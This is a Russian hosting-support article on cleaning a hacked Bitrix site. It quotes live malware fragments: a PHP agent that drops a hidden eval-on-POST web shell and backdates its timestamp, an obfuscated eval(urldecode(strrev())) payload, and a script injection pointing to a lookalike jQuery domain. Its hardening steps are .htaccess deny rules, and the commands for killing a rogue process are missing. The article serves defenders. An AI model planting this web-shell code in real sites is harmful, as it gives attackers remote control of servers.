Что делать, если Ваш сайт на Битрикс был заражен
Опубликовано Анастасия Батулкина on 09 March 2023 11:30
|
|
Перед восстановлением сайта из архива в первую очередь скачайте архив по ссылке, предоставленной сотрудником поддержки или воспользуйтесь инструкцией для создания архива текущих файлов сайта. Для скачивания архива рекомендуем использовать ftp доступ: Если на сервере достаточно свободного места, Вы можете переместить текущие файлы сайта и дамп бд в отдельный каталог, создав его через менеджер файлов панели Plesk. После этого Вам необходимо распаковать архив на своем компьютере и проверить его на наличие вредоносного кода.
Наиболее частые способы внедрения вредоносного кода: - заменяют index.php в корне сайта, - удаляют файл /bitrix/.settings.php, - внедрение вредоносного кода в файл bitrix/js/main/core/core.js вида "s=document.createElement(script)" - внедрение вредоносного кода в bitrix/modules/main/include/prolog.php вида "<sc ript src='https://code.jquery-uii.***/jquery-***'></sc ript>" - вредоносный скрипт также может создавать лишние файлы под видом нужных для работы сайта, например,/bitrix/components/bitrix/main.file.input/main.php или /bitrix/components/bitrix/main.file.input/set_list.php - создают скрипты Агенты с вредоносным кодом, создаются подобные агенты: - $arAgent["NAME"];eval(urldecode(strrev('b3%92%92%22%73%b6%34%a5%b6%76%34%26%86%a5%85%a5%73%b6%96%.... - $fName = str_replace('/modules/main/classes/mysql', '', dirname(__FILE__)).'/admin/composite_seminarians.php'; $files = scandir(dirname($fName)); file_put_contents($fName, '<?php V47dc049a84b(@$_POST[\'c3a1e58\']); function V47dc049a84b($I018d087c){ @eval($I018d087c); } ?> '); touch($fName, filemtime(dirname($fName).'/'.$files[2])); - создают файл /bitrix/tools/putin_***lo.php с кодом для удаленного доступа - удаляют данные из таблиц базы данных b_iblock, b_iblock_element, b_iblock_element_property - по директориям сайта могут быть раскиданы файлы .htaccess, блокирующие доступ к разделам (404 или 403 при обращении к страницам сайта): <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> Для предотвращения заражения дальше, стоит выполнить следующие действия. - Перевести работу сайта на актуальную версию php (если это еще не сделано) Пример как можно ограничить доступы к файлам сайта: /var/www/vhosts/domain.tld/httpdocs/bitrix/admin/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(site_checker)\.php$>deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(html_editor_action|mail_entry|upload)\.php$> deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/modules/main/include/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(virtual_file_system)\.php$> deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/components/bitrix/sender.mail.editor/.htaccess Добавляем в файле правило. Если файла нет - создаем. <Files ~ "^(ajax)\.php$> deny from all</Files> /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/.htaccess <Files ~ "^(uf)\.php$> deny from all</Files> В старых версиях битрикс уязвимым местом оказался модуль vote , это модуль опросник. Для того что бы обезопасить себя, в файле: /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/vote/uf.php над вызовом модуля вписываем: if ($_SERVER['REQUEST_METHOD'] === 'POST') { header("Status: 404 Not Found"); die(); } Тоже самое и в файле /var/www/vhosts/domain.tld/httpdocs/bitrix/tools/html_editor_action.php На сервере может присутствовать вредоносный процесс, запущенный через уязвимости сайта, который автоматически может пересоздавать вредоносные скрипты. Для его поиска подключитесь к серверу по ssh и выполните следующее: “Убиваем” его с помощью команды:
После проверки и очистки файлов, их необходимо запаковать обратно в архив .zip и загрузить в корневую директорию сайта, предварительно очистив каталог от существующих файлов. После очистки корневой директории сайта убедитесь, что в ней не создаются новые файлы.
| |
|